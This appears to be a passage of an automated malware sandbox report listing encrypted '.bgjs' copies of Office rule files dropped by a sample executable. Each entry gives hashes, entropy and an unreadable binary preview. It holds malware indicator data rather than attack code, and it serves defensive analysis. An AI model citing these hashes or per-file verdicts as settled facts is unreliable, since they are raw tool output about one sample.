Preview:	<?xmlE2u...xhm.]......!B..C.......6d..1Q..wm3......Y.f..^...WB]..a..........R.......h-.Y...s.s..<..?B...J..KZ....-).\.&..... ......(.i..I..5i...(....qmW(..*luP...$...;...f....o...)...v...u.x+..(,/.....{r.....u_.C..<..S...`c..1...9.4N`.=...k.z.....]....i9.......a....aR....2.....`......8../..zy..,..1g..K6.+T..L.+..<..<.V.F......5`..YC2.-..........i..h.$.Gk:,....9.z.;.uH.ekt8.h.Xp.0.W1"w........`GNJ..{r.Q..C...E....j}.&.G...j.Y..0^b.E@.CtU....... %......@...^...aJu..W3...\|.'.....~..{.P..pg.NB...].\.fg......o./Cc.X'.2T'f.m..4......_1G._..f.V.G.^.\|...4J?:..G..X..oU..h....._W..v.I3.0..P.z..A+..(b.$H.9...3.u...5..h.....5.^.......v...9.?l..)[..e.k.....r.....8..t.'.....:...D.rHf...D.YzAo..W.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.690017681824447
Encrypted:	false
SSDEEP:	12:XdV/lcsmwJWF4DZEwEdWbxtB/zWwlFztBf0NaVFo8jz5iWjD25XuR4Rupbf1+ciD:XD/2s1M+DZI2xWwlp/CYFo8jz5F25ju4
MD5:	B184F6069E718D485C3BA5B951044717
SHA1:	B217FA79FD406F81DDB1422D7058F70CC9C8B993
SHA-256:	8E724AD314879DAB5E1BEEDC91937C7389A15049907279A28E69A8A134AA2EF7
SHA-512:	6B2CF2A03D937799A958DDFC11BE1160CCF51BDAAA719282865F48F70775C02CC3BBA6DFE578F3C1BA43D02C21A00D9FC169CB7D8BFB7866D2F16756A2DAC37B
Malicious:	false
Preview:	<?xml.......'.JS.........\|8.k.?.h^.....2...%Ml.^e.n..\|.% ,...-.....5aO..Q:P....x8...X0..!..c.K$.p..z..nc.....V.9..q..g..C.YZ..C-.u.....X.F\y.....4f.......e$...O5.kt.W.."_..vx..Z.O<.q..~.<.J$...$.I......A...h.<.....g.y....?....91..3..n...8..0...m.`._..=q..+.....dR.@..E...Cyl.....A&.0./U....o}..h...+j==\....;.......J.{....~.Q..1h...vd.K.....(....o5.\|... ....w..-.#aJst.{..C....[..CT>.Ak.T...i.jc.=}]z...D&.q"c.=..V5.[..B.Aw.j...9.c&.>..&.!P.w.J{..jp...6W,z9..p..-O......1g j.,.-..#N...A........s.<..H.....c^..A..v .,e...)S`.<.L}y&.......g..]..u...1...1...4+De.uk...[.^...>.aX..d....V.k....7N.T. o..;..p..N.F.6..T..1...,e.R...D..L.t.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.721518109168073
Encrypted:	false
SSDEEP:	24:1GXS9osrMzXbdvJXRW/8/N4smp8PtbXrUH/bD:1GC9SzXBvxfFprUDD
MD5:	AAF25AC3C2A48848C82CBDCB14C3BA66
SHA1:	F414B5B0837ADAED941FAD3FD62829A5B710A61F
SHA-256:	5A90074B1BDD9A91DE3A41B12C6DA610DCC0D8A69C845CEB1E1B0869313B5CE6
SHA-512:	44D124C1B42AA3264AA8C1FD5C8C59A614ECF67C39B7EC1B231860D344BE80856CEB1B52E78811E66B5BB1EDD4F4F602DC493AC835DB06EDA3470611A693FEDC
Malicious:	false
Preview:	<?xml.+............B..j&.p+..0.!..%..r..V..F9....k._... e8b_..J...M..H.).{86...lc...YkNa..}...::....".`..ti.'. p.=. .......-`\|....9.-G.+...:..\q......y_.....#.......b..R...i.j\|L..L.......I..-.W...8D.d~d7ct..kOIOO.xq.6..hy.it...m.s}\...61.z....?j...gZ..2.j.\|\.'n.../.W.+ .l.A.-......_..F......km.O...V...ms..oF....wQ.....g..6>Z...T&...>.U+..'d.......<...SL.....`.v..m......B......W....P..q.B.V.f.8'AJ.Ja.(.i.q.V2....INi..{....0...[~.V...i.a9....... .k...Ba.Q......T_.?...]..f-\|0..1'Z...Yq...j.....W....<..9......hr.K.!BP^T.7;..hL....cfSn)8.....B.n.K...>.3$a........GHu.B...u2.G..1.'....o2..\|...Fs......u...oJ...Y..ew........,m.q.[.yF....Dy?.bU"......^..~....x.M..e8.w...TF.C..Gm....52<377`.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.724401063811853
Encrypted:	false
SSDEEP:	12:CMmc+sdRMWA4996Jemib2tiv/BlU0u3JjrOW360Y6oAg1+cii9a:CaOWZ99rmib26Bg3NrL3fYRAbbD
MD5:	E22947FF1653E5677A6D1030E80BE5BF
SHA1:	6E2F3270801C791C1A85FF35214596D83F9F0C8B
SHA-256:	FDB23C02AAB3B109DB970B3E384FA0154BFC40CD518E80917AC4803969949A8F
SHA-512:	785EE08DA5CEF8F9814FAA047D280E45153AD6F6A9A8B7C1EA18C12356BFD19BF4B7FEE806AD5DEF3DD94EA34070255641A494607B4F2BB5D3345E1B66FCC084
Malicious:	false
Preview:	<?xml....H..M....h.6.S......../..j......{..XK..T..9xVU.&.\A..<b...l......3.W...d...B..c.G..bC.lh.......Dy~7F.#Z.J'2.1.N$./..q35....:.X..ZH.9.r.N..........tePV2..,7.^....ca.u...7...jl.......Z.=......>..}N..l..=..7?=Qp.%^.}.....l._.C.NT5.z..^.FL.!...6.+...:.Jl..78...[6#.n.vnk.4g..5.4...-.n...B...Ve....5{.....'..AYM.Y..Z.&.yJ.......3...U........'u8X.,Y...N`..._(UH.}....WV..8..I%6Ju.&..=~...w.x(.X..%...l...4W.}.i....s.!....#.C...w..W.3.[k......;.o;q.8.(.ra.HA.....FW.~.n..q..mN.g.........\..q:.2.\+..F(....`..Z.yJxP.l..4....x.gal.+..P...U.dv(...v.G....\............\....-S>~3:....t.....}.....L.j.1.......*.P.....2~..SU7<.........{.0.}z..5....[V(q{.).d.w....n.!.....d....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.692586880859088
Encrypted:	false
SSDEEP:	12:56dBUfgJOX8Hzg0DwnAMe3CX3v1YqBMv9dSC/t0vqAf58k6mcX6JMAZj9aR38wLy:56PoEb+d1Yx9dXKv6tXvwaR38AJvWbD
MD5:	6785859CE2F27631CB2AD0B892876311
SHA1:	6FE9338CA789466A8665045FB0975510164C8588
SHA-256:	19CD52E97E61CC77587400A42CA1495BB91EDD5EE18989C0A4631861E8103831
SHA-512:	2C786EE0BC15223987CFB8BB04732591EF463B0BACE64A8AC3419AC92C37705247C0BAD2C467794483AC4FD1C547C0F5BF23DDF9A3B16B49F3DD75336770BF4C
Malicious:	false
Preview:	<?xml...[...;r.}.@../^.yZ./.EW.nO. ..}....`..~.^.93..<.;V.....^..q.4..@=....N..w.6L.+.2..H.P..3....N+.sU..$...>wG..^......e...P.`......`....?:.R..0.y['.Q......f...K....<...Ike0...1[~.`.[...Z.AKd.d}...=LJv...-.<,k\.....>.r.v..<..0R.A..m.G..z........Z.$:z~P.KG..P.wX.[.q..f........m`.@..@.M.l..P...b..&....r......X..'M._.:.Y..t]....K..X...._..3..7.<...o.BIT...j.Y..J....Y3..4....^@.3#^..6..e...E]...~P.Q...?^.4r..+..7.XT.T/p.x-.G>.L...:`x!.P'..u.Y...%@E.\...Q9\|pgx?.2..dr&.:!."=.h....<H6}.K4.......2..z5A...a.F.....J.ylg....@0..JqLsW.%.....QZ.\|.k.G"...7....`..zy4~........<\|..F......._k..<X..XJ3.k.7..._.6...7l\|..d..'...xAc.Tm..]Nad}....7.(..f.,Xd.5.K/...U.p.V....f..[..9.\|.Z....'x).o.t..We.7%......:0OTSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.693084911751402
Encrypted:	false
SSDEEP:	12:cigKuH8q/z0ryRLxFRyh52nJjXEK4ikN5nXS6ikCXOufLA7wKexI37EhI1+cii9a:duHt0ryRLxFR+2nJYK4i45ni6ikCXbIu
MD5:	B1DB02FA14B0839ED046FD7AF9A2F57A
SHA1:	135370975136DBC58466655C4044014EA53DF5B7
SHA-256:	80B0A6B13D5D475043D8B1FA6F196673FC4E3878A23BB4E9BC52C04BA5D5823F
SHA-512:	07B8A9015E270C5B93CEE5617B303B293EA24B291253F820D3F2F8BE0B73D55A4AF14337AA593BD9B54A61F766F785305A4F9C0BB73E0B913FE5EC8D237F7C99
Malicious:	false
Preview:	<?xml..MH+@7..P[....Uvt7F.'...AP........%..._.>....Tb..\....h.]....n.Z5\...,..>5...:;H.E.-..nZl.,8.].V~.2.?`..)....h...PG..,r....J...m..2..L.....5F..{...nH..^.i=n4.~.....XV\|......S...K;....'..{Q...AQ.8..<..]...$...A>.#z.=.l.../+5..2J...QJ....Uo....8.$p.../s..1...q....`..`V....K.....,.^..l.d...).,...-.]yG+..@..\.1.6X.n.e.....GU}.Ft.....:;......~.....7....J...p....f..0N.6.6..K..Bi i.).'D:R.Ez.5b...~.(.+.L..h 1.*DQ.........2.......K.I}....R.......C..HU..nz<k<..."..q..y7u.KU#...3..2.W...k..A.H.].D..GSs.1......=..............$...S.HP......z..r......JH..=.-...C._p.......K./..1..2.`Z.$..%G..`.......O.n/.,..Q.O.?Y..Z.{o7.......g...#..(\..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.759621319883652
Encrypted:	false
SSDEEP:	24:kQeJ2nQqYCcGd64YpAWDnkPZcTDyvDulrHNrCsbD:kQr3lcekpLDnKcKruB1CmD
MD5:	3305BE6A653B50378DE03ECA45F3AD5B
SHA1:	5A3651A287477D34BB6C836553EEC959C7B7444C
SHA-256:	40194750CCC40357E269AAF1680858B314754EE2431069C42622CE09758C983A
SHA-512:	7FE768903F667FB23D9C0D15A13EA4639B5239A1A13DCCF64273FDE9C28A14AA3A7DFF260B5AA466C1A4DDCB77D7EA354673E1E8A28875A6B9175E01D29B0D93
Malicious:	false
Preview:	<?xmlq+....0....e...%............AN)....wE./.v..<.(...Y...^.)b..lT-.......L.f.........I..Z..34;;`.4...M...(..Q.....s.&>..S\|.q..I.........z[..C.O.m..........T..u!...0..~Z.....&..&?6.L.......a3...y.;.a.\|'....^.U.8..:.....e1...i..v.-.T .3.%=...3)e.T.%..2<..6.......^U...2...y.Sx.,F-....^.V[y..%......?..N.N....A.?......S...LT..a@X7% .7..\|.Gv.j....U..LO....\e.*..TM.t..:...gN.e^.yQo@...P...nD:......N,..k.f..D.D...Fb...Y...5.e?.tM.....k.r~....&X.).C....%..uH4;.f...e..nRc8.bp...O^..V.....?.."..C.H.@.c..#..2%...'..&.!S...sM.......t=....Tghs..Al.Ix.....;j...1_..F<Y...U2.0{....#..3e./ .S.(6.......+G.Z.qI.];.<....m.^ .%..V...m."..#X`.....T8.9......i.B9e....-..l1)..M..o.?...7...\|.luQDF..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.695181716415126
Encrypted:	false
SSDEEP:	12:98xqejKxom4YdfBhko7y7OsQwfZIyfyxODdYkQ01Mo7j11+cii9a:SHjQDXdfv7y7owfZIyfyxODHjubD
MD5:	756DAEBB6AC12ABC6DE1B4B856B15B42
SHA1:	810A1B6E13504B2F8B912ABA85853BAE923B9DB4
SHA-256:	C269FDC3BEF35BA325912630BD165474BDC3774B638C06D6E7B007340E6AFCF8
SHA-512:	4F39D29A1BFA3BE6B0532BFBE2A76AC9107D8B51B22AD8AB5AC7E2D1E37E4720CD30E4A52DEAF65DFA07DC786144C321260C3CC5062B4401CA5DD128CE08F3C2
Malicious:	false
Preview:	<?xml..#.h....Z9....J.. }.F.%.!.[ZCW.zd.!v..2}...D.....Y.bG..n/.b.....{%...v..q.O..~\t........+...T-..g..J+.].......q.2.N7i..\.3....x...r.1..`.x.z...h.^...;p..?......b...j.Aj....B....jp.a..if.....}.F..:...\..^^:..:s.........b."l._.......j..M.....M...ZDA..t.T..6P....+...}.<...#.....~..!....\|W._hBa.6.......5./....+....S}..Ww....{..l...:.._0.0?i..1.{{.z......B...w.....6Fo......`.n.e....i..........je..{.....PJ,...9oF......6..A6.9..G../w.'...f... .x.0~{`?...\..Lc...\.....rj....%....H..q(.!.....v...+..;.'.l.R_:......!d..X"..._6..9p....:..s._o+~...%.....x..O...... .....V..J...'6o...O....k..L...H.8e.. .^...3X'H:.C......O..4SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.732769215183175
Encrypted:	false
SSDEEP:	24:1+Rf+Kxsdo1LydF1vdD2n2FSlODZd3GBbsbD:1+1IELyXK4ddIaD
MD5:	1772F5E02BE9AD140F82286EF8C3B5E9
SHA1:	EE0E9BF5F4C94399CA66B7D2A85AAEFE5FBAE734
SHA-256:	F98F6F433A9F378184EF371B6F2E9BE639CEB85CFFE8CEE5C74C5FFDC196E9D0
SHA-512:	CF1613E49BF4B7E95E74D509F81808765D804C95069A0B966387CFD2E1F89BB4E6045A6F3D47505645F2C347FA9F588AB45366E4DF135B2700C63AA4FD045819
Malicious:	false
Preview:	<?xml..k.7...s........U.7.SU.....w..2u.=..5.G.U..D`,..8(.....#.N^#........).L.K. ..e.h..8.b#ra...%...j...aF..x.>e.s..~(&Y4..CR...M_o.......jv6.......T...n.F......!.C.q%...[..Q7.w....r~.86.....w.=`..^.@...........=,...p..`..f.a.@z.9Y.T......q.._..TEc....1.K.&.n...bT o..Y)]C.r.!i......^o...H!..H.p..^F..uRA.....wJ.q..Ds......L_....!A.3.P.#.$=R>pb.TJ...'....=.....`:..i............s_1h_...h...9..lu8......;K.}..I.....@..O.j.u0x.2.S3.{.........@....6.?.iC..$5..T[Y."....7.....H.9 +...^.b0Q.p...F....Hsm^..Y.......W~\|mf.L...u?y..........)=.U.~..5d..nE.....2...n..(..'>1Z.Uz4XU....]...!.C.s..."..D...D).=....Jk...X...z?..vFn.M...E...].`.a...3.b.A..G... l.\.i.._5.Ilk..\|....RB9..K.~SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.719950918029348
Encrypted:	false
SSDEEP:	12:ZX/dEgw3AvAyqR9n1lBa1Tss/alw2BDJPFCieoxBYrcY0d70OioEs01+cii9a:ZPdEgw3KUHns/EZBVd/ercYQFDPbD
MD5:	AC0B4A00DC2CD3F463FE63FADEA986C4
SHA1:	B9218660E61A4550932828163A29D161AD7E6F15
SHA-256:	4182DA807DBB5139478EC29B004E51DF0D11A24FF7FB20FC759E8E47A7849E55
SHA-512:	630CC2DFB5964FB507B304298534EEBF3408D538BFE2B57C07B4477310C5A2AF18E71FF7B46142F1C5AEEADF777059C31C24105C0BA0BE11FCB4ABEF2A6D3A96
Malicious:	false
Preview:	<?xml;....B...y..x.\|.....J.A..9Y..,...+..Q......8.....nz..@qF.I9}v......,C.=z-{..Ag.Oh..t.tp...+J......5.n...6.[.....%.8..>_-.E...KF...[?.`,Bd.6..t...%......q.st5.......PX.._{7.t....6._.j....2x.\.%...5.>Q...\|....rc"..G..1....t.g........_.5..'.6....V..A...W.E6..%z...9[\..m.....(..r..{...B.p.x/>j...K....6.p.I........>..}.m..ck....B......f.!.......'./X...%A...(...b.B....7..W.3..A......I@e......u..e}...n.hl\..?..K.9.x..'.@f$R..L..y.....dq.Eu@ka3@..:i.K.iW.z.....!E.........Um..3..U..>...t.1k..k/)=C....v.8. .4...-O&....6..7..........Yu.q.m.19.....j.......2....T.:~Qp....D..C....,...;..oy..c.k.E......E.N...\.iF..1..@=#B....#..9..:..w...*".0(\|J4.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.74040680549416
Encrypted:	false
SSDEEP:	24:8dzwmETdFKUUq3yWbkwj48h9uGhwL9dCHdHjebD:icVRkm3yWYwNZu3CVjcD
MD5:	2B98C0FB27947BC13890CBA4BDA94F9B
SHA1:	FD08A6603873CD3B8EC759C6C32EEAC29F361655
SHA-256:	E0885FF4D60C47358EBA3649B065046F777498026C3C0749FCA5C9EB240A3210
SHA-512:	89D93C29A338AA2C5734E18477A1E68619081322BB5BE03A9274F8A9403A75C19702DD8BE6B8F96CDECEA137F83D345B4699A951372EFBDF88F713034A3F0EA8
Malicious:	false
Preview:	<?xml.!T..s...y#.#OI...0.G".he.;X.......).U.....@.....>.....^9.....'.a.FY.......{.$..........g.(......3f.....@......>V..b.M..N...R..\......a.P.0J,.7..'.;.r..~......MT.k..!.....OM)..O......NiZ..z.....=.02..@....V.c...{;....i..3...^>...OB....6...S.%{xs]...h........u.Y.IcH...r.\|..UY..[0.........9.k......o..>......R...\|J..K.{...=.../......t..Q..?^-...s...;...8.n%:<._.U.+.I....P>...W.f,.va..Tl4e...4z. $).B.75=...\|9....G.N.AU.M..7:V......xh:...6\|..h.)r`..!..L.........=k.\|u..L`.T.~..W.c[.').G.K...wm... .....Y.e.q./....?...\|wou....,5D}.....Wr...z...]C...2....a.....H..P.k....\.UUx8._91M...D.....A..'...>a..l_....X...8Or/.......K.\.)....d...ZTn.7P&...4}w../..lx7..0w.o..".P.....Z...]...U....d}.Cc..e..Fx...2.b...B/.V"...N.DZ(6C.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.699367572813338
Encrypted:	false
SSDEEP:	12:V6H8YUMwbY6HrCrB+alCbkfKVwKXuIMpkbcb407byojSVCnoJNlevXGM88f1+ciD:E8YWbY6HrwmkXKf4b407GR7evN8tbD
MD5:	31AE47CAA717E31257F2C54A7DF96CDB
SHA1:	851BC3B5235F7BA7AB2325D8BD39668379481D24
SHA-256:	4E214CD3675AAE3369993EB29018FCC7B9BB750407F0EA0580F48D25DAFEDD6D
SHA-512:	853B6DED80881F33204E0C8F3FCC157E213D0C68995BA2187E5F5855E70C6231543BF6787941E99C6B380DACF280BA6D1DBEA69F5207CD336B835055DCE7E80B
Malicious:	false
Preview:	<?xml.h..mkr....\...,....<+:.o0R..X.....zy.fW..G...s..}!..!...M1..)E.7....l...EK.A/.%-.}..F.....H.-.&....a+...Y..2.9.V..$...q.....v.AR\.\..7..+=.9p..Z.?..(.>..\.;\.. u....t..Xp.dN`...$......3.g.I......f...0...f\1.X.GL^W..A...GYB.p.w..h..$.r.t..=(u.s....'.....b......D..5M..T..@..Z....P.ssS...+%..8............H5D........L=.e>......\..kV.6...!T[...8.U....-.i0..O.M.j..j.+.m..H.Q....X...4a.r........F..Wpf.j.Yh.Mg.t.1....6W...f#.U.j0PR.s..]"/.._.!..Y.......Se...ln.H4.l.O.m5n...t.XL.!..De...U1}.."]!..FJ..UZ5.'..3...+G&..f...........5......\{..fh>\.Y.....T$...'1...J.Q0.I.J.\...%B.oQ...:.1Uv.."..P#.j.x.I.T.R%hG.....7LaT;/...........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.714585832813008
Encrypted:	false
SSDEEP:	12:RVlBiGDNZxbk/4vJV0AL5egep6AeXFWb9VCvVQifSxdkBbqHHj8H1+cii9a:RVlLDhk/2/L4geUdWbmvuifWNHj8UbD
MD5:	409ABAC2C3494540D01304FF1055DD07
SHA1:	AF517CBCCBCE0F3A592FE3ED9F761605A5B2CEC4
SHA-256:	B7F8F47422673D593DDB4AE5C965B54F0678889C828612035A5D3C98CB093223
SHA-512:	ED942D7BF651BCB2267835BEEC3EF73766D34878857433F25EA3551756E04241E0BBB8E4512CD5A281ED05FF59D11C1DE6DC037FF50D57672FDECA4F0760AA9E
Malicious:	false
Preview:	<?xml.X.?...h..8.<..7l..B.E.....o.[H.8.....p...l..J.,p.V.QX.g...r..Y..E.."..U-........o..hB.....c.Si..OV..t\....p."....%'..=^..".jQ.....4.\v..?.r.....oX..o..Y..a.].z.....W...mW.....h......(E@.H.....B.j8...E.]..e+)...P....W....Z:.....Zd..S.....9+....?(C.{...Q.XH..O.=..$...b".pz.O.1..WQ...@:CD...k(...#...q..R?.p.W....j..ZA.5H.>.A.k3.pC....>..w.>..;...[..D.......]Y..7.b..5..........>.u.(.:..qZ.X5.....y.....4.!nBs.P..#..[{.V..&....]...:.Go.0...M.G...5H..Ny.?.d.......c~.>o.:.q....>dz./.wj.......*..l.O..A'..&3>1<%J.{...[.=..U.T.Y...n1..X..I..h7.....i.."...d..$k2.....3......d)z..........g......;C.zf..h..}..b..A.b.N....L...N.E.....2.d".,.)...K@Oy........@.....W.7.%.W.../;h..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.714056750955196
Encrypted:	false
SSDEEP:	12:Bdl0laaFUalFlPl3ezvEK83pMkfZjtqE4bKoAxKANOV8699NeysH9FV1+cii9a:BX0laQUUfc81fBklQG8692y+9FObD
MD5:	71936D48D4D701EF88AFAB806195F4FA
SHA1:	B7F1887EE289FB09B6496825EE69E56E076F3867
SHA-256:	4908EB428FE0FB004923DFCD6773752EBFB9184B8FE44FF61801F5E7EE9D0B50
SHA-512:	736D86DCB7684B8C76A3AD46D49EC9F1257A3459D8B0625881BC687BBAE7E4BC3D6F0AAF1BCA76704E537E53BF032B6B69E592CFFE2F681A79C6594C782D2885
Malicious:	false
Preview:	<?xml.IF....\|#H~b.....I'EoR...0...b...I.&.+.Z@.e.\#<./{...W.....^..d~) y..u.?8..A#...#.-./.Q?2..~#.....s.....Y..8.....}.w..+.$I.....A..P..s.#.%02.W...+4...)ZS.F..v..<".S.%.-..M.T..&...=P.6,....{.8./0$h\.+..Rz.RrY:.adgT..p`....<....Dnx...FycV....K..t.Z...d"Q....V1#?.y.....w.5m:. ..2i.q!!.)..4N..:...fy..Y.Y.........^`./.1...6s..J..b7..G.'.m.e50.c.=>...]R.....4.@.1W$\|.$.K...1M...K`.}..&&.h3..d.eK>............-.eJ2...(..A..[A=^..w.(.....B..4C.n...n..7..f(...y....fm..e.W.`8M....*.....79.k...9-._.N...^...w.v..u......?.w .......L<.CR.vd.._._.+...5...I......c.0X..'....@.N......9.h.u...8.s{......Z..N..9.#V{....=....K.....u..74.a....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.713439296117447
Encrypted:	false
SSDEEP:	24:LwaBvEcbml0BH41vS9affjgo30z/kTVEHbD:Lw7054c4jj3+GKD
MD5:	A71DF35F16B0576372CD19C9A6A13682
SHA1:	AA105A358F2F73DC1E0111EC29FE92902913AAF7
SHA-256:	DE06BA8AB817FBDAA215545EC1DF95EE3A5CC8A6B4C0B14CC188B82FED6948A5
SHA-512:	786520304B87D6B40E3720E29360B561B70ECC6F14D2DA29B98AD79861EA0A660D71CDE8EC2BFE7C34C55962BACBECC09EDBE0FB3EBDC00341947DD28BEFDC94
Malicious:	false
Preview:	<?xml.5"..T..}n.M2..k.y..@pZ...4..&.v....i.?.E....E_.h.G..M..1M.N..Y..dDjU.....{.HMY..b.of.S.....Y...]..@.X..j..<.6.k."..X.shNwbM...qo....f............:<.C.N...^%\G..S....k..e.Egw$.$.]H.. .)4.o.A>.k0..Q.......K-........j.c^.{..._.,.2C!.I6...MCM.F.A"..{_X.G.....0..u..F#\....O.._.....>._........q.x...W0&..y.I.....s...E>5c...{1.!.....TA..b$.&%]\|1<..@.b.<.gX?...FIi\|.......X..v..9......."[.U......K...}w..S...Umi.$o.i .....S....~Hb0.._..?.qa(4.f.......H.+.8.^..}..G\.J.h.\|..Ji.J.p.p.aT>....{w..)S"..~.35.`.M...`Y..d.... upG.cIT<..>6h./I1u.e......".N....;..u...7...i1.xK.....O.&....d.:O. A.f.m.I..2.\|...pR..5...%...x..D........?.Y..6.a4V..}N8......Ex.W[4j....+6....<.q1....~eh..@.......#X.h.i.CF...I2.9....i..x.U0..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.712077767285232
Encrypted:	false
SSDEEP:	12:6WpZkrNTNOtch0yxZkgs4wCWqhFEHQ977Q3n7Ha6qG376Sq2mmLg9/ApT7o1+ciD:6VZROQ9kp9yhmHy7Q3nDa6qG376S7mmt
MD5:	42FD82D95326383E5C7F10F42F4EEEDC
SHA1:	32AA7942030E8E1C414B15254A84DD9A5D4C1466
SHA-256:	D9F2F25206CCFD26C27E0C57633023B764205122BD56E6D453C055F37DFA2432
SHA-512:	1EAD4B9FF5B3DF324301F599F70C03462A7DA563858568CB0CC1003EDD448E36CC477BB4D299E0DF6F91B121A21EEA199E113EB31A9089B3BC04563AFC952897
Malicious:	false
Preview:	<?xml7..u.Z.,.[..P..Z?...@...J7$6..0.....[.A2x........$3@B..(X.g..Id.v=..Z...D^&..Z$.S..%.(....[..I..r..:...W...Hf...L@u.u.&.~.>a.....M.._..`..e}....6O}i}..).........e.U.z7a.Y}...s.M....S.ng.k:..V....T..b).. (u!..\|.."h.m@.1(xlI.k..<;.....\|s.~D@..Q....Jul..%..Tg.]R-..n.~^i..D..m......A....Cb....Yu.b.b.=.8P.s...^.@.......v>t.C.r..4N./.S.H........M .&U.\..'-X.....R..&b.Q....5.....R...G...q't....$mg..nV...+4r.......w..Q.!I.......&.%.2&.l/..L..K5M.sfax"...1.ie.x.....]....}&D?...W/.r,..U....Z(W.3..........#....F.[h.L..../...w.uA..Q.#......H^..c..O..Jr.....j..... 